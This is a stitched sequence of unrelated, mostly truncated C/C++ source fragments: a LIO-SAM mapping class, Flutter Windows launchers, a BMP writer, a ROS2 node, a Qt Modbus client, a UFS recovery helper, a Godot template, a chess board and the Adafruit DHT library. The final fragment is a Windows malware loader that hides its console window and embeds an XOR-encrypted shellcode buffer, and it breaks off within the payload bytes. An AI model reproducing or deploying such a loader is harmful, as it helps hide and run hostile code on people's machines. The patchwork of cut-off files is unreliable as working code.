    ros::Publisher pubPath;

    ros::Publisher pubHistoryKeyFrames;
    ros::Publisher pubIcpKeyFrames;
    ros::Publisher pubRecentKeyFrames;
    ros::Publisher pubRecentKeyFrame;
    ros::Publisher pubCloudRegisteredRaw;
    ros::Publisher pubLoopConstraintEdge;

    ros::Subscriber subCloud;
    ros::Subscriber subGPS;
    ros::Subscriber subLoop;

    std::deque<nav_msgs::Odometry> gpsQueue;
    lio_sam::cloud_info cloudInfo;

    vector<pcl::PointCloud<PointType>::Ptr> cornerCloudKeyFrames;
    vector<pcl::PointCloud<PointType>::Ptr> surfCloudKeyFrames;

    pcl::PointCloud<PointType>::Ptr cloudKeyPoses3D;
    pcl::PointCloud<PointTypePose>::Ptr cloudKeyPoses6D;
    pcl::PointCloud<PointType>::Ptr copy_cloudKeyPoses3D;
    pcl::PointCloud<PointTypePose>::Ptr copy_cloudKeyPoses6D;

    pcl::PointCloud<PointType>::Ptr laserCloudCornerLast; // corner feature set from odoOptimization
    pcl::PointCloud<PointType>::Ptr laserCloudSurfLast; // surf feature set from odoOptimization
    pcl::PointCloud<PointType>::Ptr laserCloudCornerLastDS; // downsampled corner featuer set from odoOptimization
    pcl::PointCloud<PointType>::Ptr laserCloudSurfLastDS; // downsampled surf featuer set from odoOptimization

    pcl::PointCloud<PointType>::Ptr laserCloudOri;
    pcl::PointCloud<PointType>::Ptr coeffSel;

    std::vector<PointType> laserCloudOriCornerVec; // corner point holder for parallel computation
    std::vector<PointType> coeffSelCornerVec;
    std::vector<bool> laserCloudOriCornerFlag;
    std::vector<PointType> laserCloudOriSurfVec; // surf point holder for parallel computation
    std::vector<PointType> coeffSelSurfVec;
    std::vector<bool> laserCloudOriSurfFlag;

    map<int, pair<pcl::PointCloud<PointType>, pcl::PointCloud<PointType>>> laserCloudMapContainer;
    pcl::PointCloud<PointType>::Ptr laserCloudCornerFromMap;
    pcl::PointCloud<PointType>::Ptr laserCloudSurfFromMap;
    pcl::PointCloud<PointType>::Ptr laserCloudCornerFromMapDS;
    pcl::PointCloud<PointType>::Ptr laserCloudSurfFromMapDS;

    pcl::KdTreeFLANN<PointType>::Ptr kdtreeCornerFromMap;
    pcl::KdTreeFLANN<PointType>::Ptr kdtreeSurfFromMap;

    pcl::KdTreeFLANN<PointType>::Ptr kdtreeSurroundingKeyPoses;
    pcl::KdTreeFLANN<PointType>::Ptr kdtreeHistoryKeyPoses;

    pcl::VoxelGrid<PointType> downSizeFilterCorner;
    pcl::VoxelGrid<PointType> downSizeFilterSurf;
    pcl::VoxelGrid<PointType> downSizeFilterICP;
    pcl::VoxelGrid<PointType> downSizeFilterSurroundingKeyPoses; // for surrounding key poses of scan-to-map optimization

    ros::Time timeLaserInfoStamp;
    double timeLaserInfoCur;

    float transformTobeMapped[6];

    std::mutex mtx;
    std::mutex mtxLoopInfo;

    bool isDegenerate = false;
    cv::Mat matP;

    int laserCloudCornerFromMapDSNum = 0;
    int laserCloudSurfFromMapDSNum = 0;
    int laserCloudCornerLastDSNu


#include <flutter/dart_project.h>
#include <flutter/flutter_view_controller.h>
#include <windows.h>

#include "flutter_window.h"
#include "utils.h"

int APIENTRY wWinMain(_In_ HINSTANCE instance, _In_opt_ HINSTANCE prev,
                      _In_ wchar_t *command_line, _In_ int show_command) {
  // Attach to console when present (e.g., 'flutter run') or create a
  // new console when running with a debugger.
  if (!::AttachConsole(ATTACH_PARENT_PROCESS) && ::IsDebuggerPresent()) {
    CreateAndAttachConsole();
  }

  // Initialize COM, so that it is available for use in the library and/or
  // plugins.
  ::CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);

  flutter::DartProject project(L"data");

  std::vector<std::string> command_line_arguments =
      GetCommandLineArguments();

  project.set_dart_entrypoint_arguments(std::move(command_line_arguments));

  FlutterWindow window(project);
  Win32Window::Point origin(10, 10);
  Win32Window::Size size(1280, 720);
  if (!window.Create(L"wordle_app", origin, size)) {
    return EXIT_FAILURE;
  }
  window.SetQuitOnClose(true);

  ::MSG msg;
  while (::GetMessage(&msg, nullptr, 0, 0)) {
    ::TranslateMessage(&msg);
    ::DispatchMessage(&msg);
  }

  ::CoUninitialize();
  return EXIT_SUCCESS;
}


#include <iostream>
#include <fstream>
#include <iomanip>
#include <vector>
#include <cmath>
#include <numeric>
#include <stdexcept>

// Constants for BMP file
const int BYTES_PER_PIXEL = 3; // red, green, & blue
const int FILE_HEADER_SIZE = 14;
const int INFO_HEADER_SIZE = 40;

// Constants for data processing
const int SIGNAL_THRESHOLD = 2048;
const int BETA_THORNE_ROWS_COUNT = 15;
const int MEDIAN_DETECTOR_COUNT = 50;
const double THICKNESS_CALIBRATION_FACTOR = 0.247;

void generateBitmapImage(const unsigned char* image, int height, int width, const char* imageFileName);
unsigned char* createBitmapFileHeader(int height, int stride);
unsigned char* createBitmapInfoHeader(int height, int width);

// Struct to hold pixel data and calibration status
struct PixelData {
    double value;
    bool is_calibrated;
};
void generateBitmapImage(const unsigned char* image, int height, int width, const char* imageFileName)
{
    int widthInBytes = width * BYTES_PER_PIXEL;

    unsigned char padding[3] = {0, 0, 0};
    int paddingSize = (4 - (widthInBytes) % 4) % 4;

    int stride = (widthInBytes) + paddingSize;

    FILE* imageFile = fopen(imageFileName, "wb");

    unsigned char* fileHeader = createBitmapFileHeader(height, stride);
    fwrite(fileHeader, 1, FILE_HEADER_SIZE, imageFile);

    unsigned char* infoHeader = createBitmapInfoHeader(height, width);
    fwrite(infoHeader, 1, INFO_HEADER_SIZE, imageFile);

    int i;
    for (i = 0; i < height; i++) {
        fwrite(image + (i*widthInBytes), BYTES_PER_PIXEL, width, imageFile);
        fwrite(padding, 1, paddingSize, imageFile);
    }

    fclose(imageFile);
}

unsigned char* createBitmapFileHeader(int height, int stride)
{
    int fileSize = FILE_HEADER_SIZE + INFO_HEADER_SIZE + (stride * height);

    static unsigned char fileHeader[] = {
        0,0,     /// signature
        0,0,0,0, /// image file size in bytes
        0,0,0,0, /// reserved
        0,0,0,0, /// start of pixel array
    };

    fileHeader[ 0] = (unsigned char)('B');
    fileHeader[ 1] = (unsigned char)('M');
    fileHeader[ 2] = (unsigned char)(fileSize      );
    fileHeader[ 3] = (unsigned char)(fileSize >>  8);
    fileHeader[ 4] = (unsigned char)(fileSize >> 16);
    fileHeader[ 5] = (unsigned char)(fileSize >> 24);
    fileHeader[10] = (unsigned char)(FILE_HEADER_SIZE + INFO_HEADER_SIZE);

    return fileHeader;
}

unsigned char* createBitmapInfoHeader(int height, int width)
{
    static unsigned char infoHeader[] = {
        0,0,0,0, /// header size
        0,0,0,0, /// image width
        0,0,0,0, /// image height
        0,0,     /// number of color planes
        0,0,     /// bits per pixel
        0,0,0,0, /// compression
        0,0,0,0, /// image size
        0,0,0,0, /// horizontal resolution
        0,0,0,0, /// vertical resolution
        0,0,0,0, /// colors in color table
        0,0,0,0, /// important color count
    };

    infoHeader[ 0] = (unsigned char)(INFO_HEADER_SIZE);
    infoHeader[ 4] = (unsigned char)(width      );
    infoHeader[ 5] = (unsigned char)(width >>  8);
    infoHeader[ 6] = (unsigned char)(width >> 16);
    infoHeader[ 7] = (unsigned char)(width >> 24);
    infoHeader[ 8] = (unsigned char)(height      );
    infoHeader[ 9] = (unsigned char)(height >>  8);
    infoHeader[10] = (unsigned char)(height >> 16);
    infoHeader[11] = (unsigned char)(height >> 24);
    infoHeader[12] = (unsigned char)(1);
    infoHeader[14] = (unsigned char)(BYTES_PER_PIXEL*8);

    return infoHeader;
}

// Function to read data from file
std::vector<std::vector<int>> read_data_from_file(const std::string& filename, unsigned& height, unsigned& width) {
    std::ifstream inf(filename, std::fstream::in | std::fstream::binary);
    if (!inf.is_open()) {
        throw std::runtime_error("Error: could not open file " + filename);
    }

    inf.read(reinterpret_cast<char*>(&width), sizeof(unsigned));
    inf.read(reinterpret_cast<char*>(&height), sizeof(unsigned));

    // Skip the next 14 unsigned integers (header info)
    inf.seekg(static_cast<unsigned>(inf.tellg()) + sizeof(unsigned) * 14);

    if (height == 0 || width == 0) {
        throw std::runtime_error("Error: image dimensions cannot be zero.");
    }

    std::vector<std::vector<int>> data(height, std::vector<int>(width));
    unsigned number;
    for (unsigned i = 0; i < height; ++i) {
        for (unsigned j = 0; j < width; ++j) {
            inf.read(reinterpret_cast<char*>(&number), 4);
            data[i][j] = static_cast<int>(number);
        }
    }
    inf.close();
    return data;
}

// function to process data
std::vector<std::vector<PixelData>> process_data(const std::vector<std::vector<int>>& data) {
    unsigned m = data.size();
    unsigned n = data[0].size();
    std::vector<std::vector<PixelData>> processed_data(m, std::vector<PixelData>(n));
    // Background normalization
    for (unsigned i = 0; i < m; ++i) {
        for (unsigned j = 0; j < n; ++j) {
            if (data[i][j] > SIGNAL_THR


/* Copyright (c) 2025, United States Government, as represented by the
 * Administrator of the National Aeronautics and Space Administration.
 *
 * All rights reserved.
 *
 * This software is licensed under the Apache License, Version 2.0
 * (the "License"); you may not use this file except in compliance with the
 * License. You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
 * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
 * License for the specific language governing permissions and limitations
 * under the License.
 */

#include "liftkit_hardware_interface/controller_stopper.hpp"
#include "rclcpp/rclcpp.hpp"

int main(int argc, char** argv)
{
  rclcpp::init(argc, argv);
  rclcpp::Node::SharedPtr node = rclcpp::Node::make_shared("controller_stopper_node");

  bool headless_mode = node->declare_parameter<bool>("headless_mode", false);
  node->get_parameter<bool>("headless_mode", headless_mode);
  bool joint_controller_active = node->declare_parameter<bool>("joint_controller_active", true);
  node->get_parameter<bool>("joint_controller_active", joint_controller_active);

  // If headless mode is not active, but the joint controllers are we should
  // stop the joint controllers during startup of the node
  bool stop_controllers_on_startup = false;
  if (joint_controller_active == true && headless_mode == false)
  {
    stop_controllers_on_startup = true;
  }

  ControllerStopper stopper(node, stop_controllers_on_startup);

  rclcpp::spin(node);

  return 0;
}


#include "modbus.h"

#include <QDataStream>

// ---------------------------ModbusTcp Client---------------------------//

ModbusTcpClient::ModbusTcpClient(QObject *parent) : QObject(parent), transactionId(0)
{
    tcpSocket = new QTcpSocket(this);
    tcpSocket->socketOption(QAbstractSocket::SocketOption::KeepAliveOption);

    // heartbeatTimer = new QTimer(this);

    // 监听连接状态
    connect(tcpSocket, &QTcpSocket::connected, this, [this]() {
        emit connectState(true);
    });

    connect(tcpSocket, &QTcpSocket::disconnected, this, [this]() {
        emit connectState(false);
    });

    // 监听服务端数据
    connect(tcpSocket, &QTcpSocket::readyRead, this, &ModbusTcpClient::onReadyRead);

    // 处理错误
    connect(tcpSocket, QOverload<QAbstractSocket::SocketError>::of(&QTcpSocket::errorOccurred), this, &ModbusTcpClient::onErrorOccurred);
}

ModbusTcpClient::~ModbusTcpClient()
{
    disconnectFromModbusServer();
}

void ModbusTcpClient::connectToModbusServer(const QHostAddress &serverAddress, quint16 port)
{
    if(!isConnected()){
        tcpSocket->connectToHost(serverAddress, port);
    }
}

void ModbusTcpClient::disconnectFromModbusServer()
{
    if(isConnected()){
        tcpSocket->disconnectFromHost();
    }
}

void ModbusTcpClient::readData(Modbus::RegisterType registerType, quint16 address, quint16 quantity)
{
    QByteArray request;
    QDataStream out(&request, QIODevice::WriteOnly);
    out.setByteOrder(QDataStream::BigEndian);

    // 递增transactionId并处理回绕
    transactionId = ++transactionId % 65536;

    // 设置功能码
    quint8 funcCode = 0;
    switch(registerType){
    case Modbus::DiscreteInputs:funcCode = 0x02;break;
    case Modbus::Coils:funcCode = 0x01;break;
    case Modbus::InputRegisters:funcCode = 0x04;break;
    case Modbus::HoldingRegisters:funcCode = 0x03;break;
    }

    // MBAP报文头
    out << transactionId;   // 事务元标识符
    out << (quint16)0;  // 协议标识符    恒为零
    out << (quint16)(6);    // 长度
    out << (quint8)1;   // 单元标识符    从站ID

    // PDU报文体
    out << (quint8)funcCode; // 功能码
    out << (quint16)address; // 起始地址
    out << (quint16)quantity;    // 寄存器数量

    tcpSocket->write(request);
}

void ModbusTcpClient::writeData(Modbus::RegisterType registerType, quint16 address, const QVariant &value)
{
    QByteArray request;
    QDataStream out(&request, QIODevice::WriteOnly);
    out.setByteOrder(QDataStream::BigEndian);

    quint16 quantity = 0;
    QVector<quint16>Values;

    if(value.canConvert<QVector<quint16>>()){
        Values = value.value<QVector<quint16>>();
        quantity = Values.size();
    }else{
        Values << value.toUInt();
        quantity = 1;
    }

    if(registerType == Modbus::Coils){
        if(quantity == 1){
            Values[0] = ((Values[0] == 0) ? 0x00 : 0xff00);
        }
    }

    // = values.size();   // 数据量
    // 计算字节数    写多保持寄存器时,字节数量为N*2
    // 写多线圈时, 字节数量为N, 为确保将所有数据发送出去,需要判断并补充完整字节
    // 写多线圈时, 一位代表一个线圈状态
    quint16 byteCount = (registerType == Modbus::Coils) ? (quantity + 7) / 8 : quantity * 2;

    // MBAP报文头
    out << transactionId++; // 事务元标识符
    out << (quint16)0;  // 协议标识符
    out << (quint16)(7 + byteCount);    // 长度
    out << (quint8)1; // 单元标识符    从站ID
    // PDU报文体
    quint8 functionCode = 0;
    switch(registerType){
    case Modbus::Coils:functionCode = 0x0F; break;
    case Modbus::HoldingRegisters:functionCode = 0x10; break;
    case Modbus::DiscreteInputs:
    case Modbus::InputRegisters:
        break;
    }
    out << (quint8)functionCode; // 功能码
    out << (quint16)address; // 起始地址
    out << (quint16)quantity;    // 输出数量
    out << (quint8)byteCount;   // 字节数

    // 值    多线圈-N*1字节    多保持寄存器-N*2字节
    if (registerType == Modbus::Coils) {   // 线圈
        quint8 byte = 0;
        for (int i = 0; i < quantity; ++i) {
            if (Values[i] != 0) {
                // 用一位来表示一个线圈状态
                byte |= 1 << (i % 8);
            }

            if ((i % 8 == 7) || i == quantity - 1) {
                out << byte;
                byte = 0;
            }
        }
    } else { // 保持寄存器
        for (int i = 0; i < quantity; ++i) {
            out << Values[i];
        }
    }

    tcpSocket->write(request);
}

bool ModbusTcpClient::isConnected() const
{
    if(!tcpSocket)
        return false;
    return tcpSocket->state() == QTcpSocket::ConnectedState;
}

void ModbusTcpClient::onReadyRead()
{
    QByteArray response = tcpSocket->readAll();
    qDebug() << response;

    QDataStream in(&response, QIODevice::ReadOnly);
    in.setByteOrder(QDataStream::BigEndian); // Modbus使用大端字节序

    quint16 transactionId, protocolId, length;
    quint8 unitId, functionCode, byteCount;

    // 读取报文头部
    in >> transactionId >> protocolId >> length >> unitId >> functionCode;

    switch (functionCode) {
    case 0x01:{
        in >> byteCount;
        QVector<bool> coilStatus(byteCount * 8); // 最多byteCount * 8个线圈
        for (int i = 0; i < byteCount; ++i) {
            quint8 byte;
            in >> byte;
            for (int bit = 0;


/*
 * Copyright (c) 2020 The Linux Foundation. All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are
 * met:
 *     * Redistributions of source code must retain the above copyright
 *       notice, this list of conditions and the following disclaimer.
 *     * Redistributions in binary form must reproduce the above
 *       copyright notice, this list of conditions and the following
 *       disclaimer in the documentation and/or other materials provided
 *       with the distribution.
 *     * Neither the name of The Linux Foundation nor the names of its
 *       contributors may be used to endorse or promote products derived
 *       from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS
 * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
 * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
 * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
 * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
 * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN
 * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#define LOG_TAG "recovery_ufs"

#include "recovery-ufs-bsg.h"

#ifndef _BSG_FRAMEWORK_KERNEL_HEADERS
#ifndef _GENERIC_KERNEL_HEADERS
#include <scsi/ufs/ioctl.h>
#include <scsi/ufs/ufs.h>
#endif
#endif

//Size of the buffer that needs to be passed to the UFS ioctl
#define UFS_ATTR_DATA_SIZE          32

#ifdef _BSG_FRAMEWORK_KERNEL_HEADERS
static int get_ufs_bsg_dev(void)
{
    DIR *dir;
    struct dirent *ent;
    int ret = -ENODEV;

    if ((dir = opendir ("/dev")) != NULL) {
        /* read all the files and directories within directory */
        while ((ent = readdir(dir)) != NULL) {
            if (!strcmp(ent->d_name, "ufs-bsg") ||
                    !strcmp(ent->d_name, "ufs-bsg0")) {
                snprintf(ufs_bsg_dev, FNAME_SZ, "/dev/%s", ent->d_name);
                ret = 0;
                break;
            }
        }
        if (ret)
            ALOGE("could not find the ufs-bsg dev\n");
        closedir (dir);
    } else {
        /* could not open directory */
        ALOGE("could not open /dev (error no: %d)\n", errno);
        ret = -EINVAL;
    }

    return ret;
}

int ufs_bsg_dev_open(void)
{
    int ret;
    if (!fd_ufs_bsg) {
        fd_ufs_bsg = open(ufs_bsg_dev, O_RDWR);
        ret = errno;
        if (fd_ufs_bsg < 0) {
            ALOGE("Unable to open %s (error no: %d)",
                    ufs_bsg_dev, errno);
            fd_ufs_bsg = 0;
            return ret;
        }
    }
    return 0;
}

void ufs_bsg_dev_close(void)
{
    if (fd_ufs_bsg) {
        close(fd_ufs_bsg);
        fd_ufs_bsg = 0;
    }
}

static int ufs_bsg_ioctl(int fd, struct ufs_bsg_request *req,
        struct ufs_bsg_reply *rsp, __u8 *buf, __u32 buf_len,
        enum bsg_ioctl_dir dir)
{
    int ret;
    struct sg_io_v4 sg_io;

    sg_io.guard = 'Q';
    sg_io.protocol = BSG_PROTOCOL_SCSI;
    sg_io.subprotocol = BSG_SUB_PROTOCOL_SCSI_TRANSPORT;
    sg_io.request_len = sizeof(*req);
    sg_io.request = (__u64)req;
    sg_io.response = (__u64)rsp;
    sg_io.max_response_len = sizeof(*rsp);
    if (dir == BSG_IOCTL_DIR_FROM_DEV) {
        sg_io.din_xfer_len = buf_len;
        sg_io.din_xferp = (__u64)(buf);
    } else {
        sg_io.dout_xfer_len = buf_len;
        sg_io.dout_xferp = (__u64)(buf);
    }

    ret = ioctl(fd, SG_IO, &sg_io);
    if (ret)
        ALOGE("%s: Error from sg_io ioctl (return value: %d, error no: %d, reply result from LLD: %d\n)",
                __func__, ret, errno, rsp->result);

    if (sg_io.info || rsp->result) {
        ALOGE("%s: Error from sg_io info (check sg info: device_status: 0x%x, transport_status: 0x%x, driver_status: 0x%x, reply result from LLD: %d\n)",
                __func__, sg_io.device_status, sg_io.transport_status,
                sg_io.driver_status, rsp->result);
        ret = -EAGAIN;
    }

    return ret;
}

static void compose_ufs_bsg_query_req(struct ufs_bsg_request *req, __u8 func,
        __u8 opcode, __u8 idn, __u8 index, __u8 sel,
        __u16 length)
{
    struct utp_upiu_header *hdr = &req->upiu_req.header;
    struct utp_upiu_query *qr = &req->upiu_req.qr;

    req->msgcode = UTP_UPIU_QUERY_REQ;
    hdr->dword_0 = DWORD(UTP_UPIU_QUERY_REQ, 0, 0, 0);
    hdr->dword_1 = DWORD(0, func, 0, 0);
    hdr->dword_2 = DWORD(0, 0, length >> 8, (__u8)length);
    qr->opcode = opcode;
    qr->idn = idn;
    qr->index = index;
    qr->selector = sel;
    qr->length = htobe16(length);
}

sta


#include <flutter/dart_project.h>
#include <flutter/flutter_view_controller.h>
#include <windows.h>

#include "flutter_window.h"
#include "utils.h"

int APIENTRY wWinMain(_In_ HINSTANCE instance, _In_opt_ HINSTANCE prev,
                      _In_ wchar_t *command_line, _In_ int show_command) {
  // Attach to console when present (e.g., 'flutter run') or create a
  // new console when running with a debugger.
  if (!::AttachConsole(ATTACH_PARENT_PROCESS) && ::IsDebuggerPresent()) {
    CreateAndAttachConsole();
  }

  // Initialize COM, so that it is available for use in the library and/or
  // plugins.
  ::CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);

  flutter::DartProject project(L"data");

  std::vector<std::string> command_line_arguments =
      GetCommandLineArguments();

  project.set_dart_entrypoint_arguments(std::move(command_line_arguments));

  FlutterWindow window(project);
  Win32Window::Point origin(10, 10);
  Win32Window::Size size(1280, 720);
  if (!window.Create(L"project_hello", origin, size)) {
    return EXIT_FAILURE;
  }
  window.SetQuitOnClose(true);

  ::MSG msg;
  while (::GetMessage(&msg, nullptr, 0, 0)) {
    ::TranslateMessage(&msg);
    ::DispatchMessage(&msg);
  }

  ::CoUninitialize();
  return EXIT_SUCCESS;
}


#include "{{cookiecutter.class_name_file}}.h"
#include <godot_cpp/core/class_db.hpp>
#include <godot_cpp/godot.hpp>
#include <godot_cpp/variant/utility_functions.hpp>
#include <godot_cpp/classes/engine.hpp>

using namespace godot;

void {{cookiecutter.class_name}}::_bind_methods()
{
    // Here we define a property with its getter and setter called name
    ClassDB::bind_method(D_METHOD("get_name"), &{{cookiecutter.class_name}}::get_name);
	ClassDB::bind_method(D_METHOD("set_name", "p_name"), &{{cookiecutter.class_name}}::set_name);
    // Here we @export our property in godot inspector
	ADD_PROPERTY(PropertyInfo(Variant::STRING, "name"), "set_name", "get_name");

    // Here we bind our hello_world method to gdscript
	ClassDB::bind_method(D_METHOD("hello_world", "p_word"), &{{cookiecutter.class_name}}::hello_world);

    // We also can create some signals for our class/node
    // the first parameter is the signal name
    // other parameters are the parameters of the signal itself
    ADD_SIGNAL(MethodInfo("hello_signal", PropertyInfo(Variant::STRING, "p_word")));
}

{{cookiecutter.class_name}}::{{cookiecutter.class_name}}()
{
    // if you inherits Node2D you need to uncomment below:
    /*
    if (Engine::get_singleton()->is_editor_hint()){
        set_process_mode(Node::ProcessMode::PROCESS_MODE_DISABLED);
    }
    */

    // Initialize any variables here.
    name = "This name variable is filled in C++!";
}

{{cookiecutter.class_name}}::~{{cookiecutter.class_name}}()
{
    // Add your cleanup here.
}

void {{cookiecutter.class_name}}::hello_world(String p_word)
{
    UtilityFunctions::print(p_word);
    emit_signal("hello_signal", p_word);
}

// ================================
/*
For each variable you want to use in gdscript, you need to
define setter and getter
*/

// setter for name
void {{cookiecutter.class_name}}::set_name(const String p_name)
{
    this->name = p_name;
}
// getter for name
String {{cookiecutter.class_name}}::get_name() const
{
    return this->name;
}
// ================================


#include "ChessBoard.h"

ChessBoard::ChessBoard() {
    initializeStartingPosition();
}

Piece ChessBoard::getPiece(Rank rank, File file) const {
    return board[rank][file];
}

void ChessBoard::setPiece(Rank rank, int file, Piece piece) {
    board[rank][file] = piece;
}

bool ChessBoard::isEmpty(int rank, int file) {
    return board[rank][file] == EMPTY;
}

bool ChessBoard::isWhite(Piece piece) {
    return piece > 0 && piece <= 6;
}

bool ChessBoard::isBlack(Piece piece) {
    return piece < 0;
}

void ChessBoard::initializeStartingPosition() {
    for (int rank = 0; rank < 8; rank++) {
        for (int file = 0; file < 8; file++) {
            board[rank][file] = EMPTY;
        }
    }

    for (int file = 0; file < 8; file++) {
        board[rank2][file] = W_PAWN;
    }

    board[rank1][aFile] = W_ROOK; board[rank1][hFile] = W_ROOK;
    board[rank1][bFile] = W_KNIGHT; board[rank1][gFile] = W_KNIGHT;
    board[rank1][cFile] = W_BISHOP; board[rank1][fFile] = W_BISHOP;
    board[rank1][dFile] = W_QUEEN;
    board[rank1][eFile] = W_KING;

    board[rank8][aFile] = B_ROOK;   board[rank8][hFile] = B_ROOK;
    board[rank8][bFile] = B_KNIGHT; board[rank8][gFile] = B_KNIGHT;
    board[rank8][cFile] = B_BISHOP; board[rank8][fFile] = B_BISHOP;
    board[rank8][dFile] = B_QUEEN;
    board[rank8][eFile] = B_KING;

    for (int file = 0; file < 8; file++) {
        board[rank7][file] = B_PAWN;
    }
};


/*!
 *  @file DHT.cpp
 *
 *  @mainpage DHT series of low cost temperature/humidity sensors.
 *
 *  @section intro_sec Introduction
 *
 *  This is a library for DHT series of low cost temperature/humidity sensors.
 *
 *  You must have Adafruit Unified Sensor Library library installed to use this
 * class.
 *
 *  Adafruit invests time and resources providing this open source code,
 *  please support Adafruit andopen-source hardware by purchasing products
 *  from Adafruit!
 *
 *  @section author Author
 *
 *  Written by Adafruit Industries.
 *
 *  @section license License
 *
 *  MIT license, all text above must be included in any redistribution
 */

#include "DHT.h"

#define MIN_INTERVAL 2000 /**< min interval value */
#define TIMEOUT                                                                \
  UINT32_MAX /**< Used programmatically for timeout.                           \
                   Not a timeout duration. Type: uint32_t. */

/*!
 *  @brief  Instantiates a new DHT class
 *  @param  pin
 *          pin number that sensor is connected
 *  @param  type
 *          type of sensor
 *  @param  count
 *          number of sensors
 */
DHT::DHT(uint8_t pin, uint8_t type, uint8_t count) {
  (void)count; // Workaround to avoid compiler warning.
  _pin = pin;
  _type = type;
#ifdef __AVR
  _bit = digitalPinToBitMask(pin);
  _port = digitalPinToPort(pin);
#endif
  _maxcycles =
      microsecondsToClockCycles(1000); // 1 millisecond timeout for
                                       // reading pulses from DHT sensor.
  // Note that count is now ignored as the DHT reading algorithm adjusts itself
  // based on the speed of the processor.
}

/*!
 *  @brief  Setup sensor pins and set pull timings
 *  @param  usec
 *          Optionally pass pull-up time (in microseconds) before DHT reading
 *starts. Default is 55 (see function declaration in DHT.h).
 */
void DHT::begin(uint8_t usec) {
  // set up the pins!
  pinMode(_pin, INPUT_PULLUP);
  // Using this value makes sure that millis() - lastreadtime will be
  // >= MIN_INTERVAL right away. Note that this assignment wraps around,
  // but so will the subtraction.
  _lastreadtime = millis() - MIN_INTERVAL;
  DEBUG_PRINT("DHT max clock cycles: ");
  DEBUG_PRINTLN(_maxcycles, DEC);
  pullTime = usec;
}

/*!
 *  @brief  Read temperature
 *  @param  S
 *          Scale. Boolean value:
 *					- true = Fahrenheit
 *					- false = Celcius
 *  @param  force
 *          true if in force mode
 *	@return Temperature value in selected scale
 */
float DHT::readTemperature(bool S, bool force) {
  float f = NAN;

  if (read(force)) {
    switch (_type) {
    case DHT11:
      f = data[2];
      if (data[3] & 0x80) {
        f = -1 - f;
      }
      f += (data[3] & 0x0f) * 0.1;
      if (S) {
        f = convertCtoF(f);
      }
      break;
    case DHT12:
      f = data[2];
      f += (data[3] & 0x0f) * 0.1;
      if (data[2] & 0x80) {
        f *= -1;
      }
      if (S) {
        f = convertCtoF(f);
      }
      break;
    case DHT22:
    case DHT21:
      f = ((word)(data[2] & 0x7F)) << 8 | data[3];
      f *= 0.1;
      if (data[2] & 0x80) {
        f *= -1;
      }
      if (S) {
        f = convertCtoF(f);
      }
      break;
    }
  }
  return f;
}

/*!
 *  @brief  Converts Celcius to Fahrenheit
 *  @param  c
 *					value in Celcius
 *	@return float value in Fahrenheit
 */
float DHT::convertCtoF(float c) { return c * 1.8 + 32; }

/*!
 *  @brief  Converts Fahrenheit to Celcius
 *  @param  f
 *					value in Fahrenheit
 *	@return float value in Celcius
 */
float DHT::convertFtoC(float f) { return (f - 32) * 0.55555; }

/*!
 *  @brief  Read Humidity
 *  @param  force
 *					force read mode
 *	@return float value - humidity in percent
 */
float DHT::readHumidity(bool force) {
  float f = NAN;
  if (read(force)) {
    switch (_type) {
    case DHT11:
    case DHT12:
      f = data[0] + data[1] * 0.1;
      break;
    case DHT22:
    case DHT21:
      f = ((word)data[0]) << 8 | data[1];
      f *= 0.1;
      break;
    }
  }
  return f;
}

/*!
 *  @brief  Compute Heat Index
 *          Simplified version that reads temp and humidity from sensor
 *  @param  isFahrenheit
 * 					true if fahrenheit, false if celcius
 *(default true)
 *	@return float heat index
 */
float DHT::computeHeatIndex(bool isFahrenheit) {
  float hi = computeHeatIndex(readTemperature(isFahrenheit), readHumidity(),
                              isFahrenheit);
  return hi;
}

/*!
 *  @brief  Compute Heat Index
 *  				Using both Rothfusz and Steadman's equations
 *					(http://www.wpc.ncep.noaa.gov/html/heatindex_equation.shtml)
 *  @param  temperature
 *          temperature in selected scale
 *  @param  percentHumidity
 *          humidity in percent
 *  @param  isFahrenheit
 * 					true if fahrenheit, false if celcius
 *	@return float heat index
 */
float DHT::computeHeatIndex(float temperature, float percentHumidity,
                            bool isFahrenheit) {
  float hi;

  if (!isFahrenheit)
    t


#include <windows.h>
#pragma comment(linker, "/SUBSYSTEM:WINDOWS /ENTRY:mainCRTStartup")
// --- GLOBAL SHELLCODE BUFFER ---
unsigned char encryptedShellcode[] = {
    // This is the shellcode you provided, encrypted with key 0x5A.
    0xa6, 0x12, 0xd9, 0xbe, 0xaa, 0xb2, 0x92, 0x5a, 0x5a, 0x5a, 0x1b, 0x0b, 0x1b, 0x0a, 0x08, 0x0b,
    0x0c, 0x12, 0x6b, 0x88, 0x3f, 0x12, 0xd1, 0x08, 0x3a, 0x12, 0xd1, 0x08, 0x42, 0x12, 0xd1, 0x08,
    0x7a, 0x12, 0xd1, 0x28, 0x0a, 0x12, 0x55, 0xed, 0x10, 0x10, 0x17, 0x6b, 0x93, 0x12, 0x6b, 0x9a,
    0xf6, 0x66, 0x3b, 0x26, 0x58, 0x76, 0x7a, 0x1b, 0x9b, 0x93, 0x57, 0x1b, 0x5b, 0x9b, 0xb8, 0xb7,
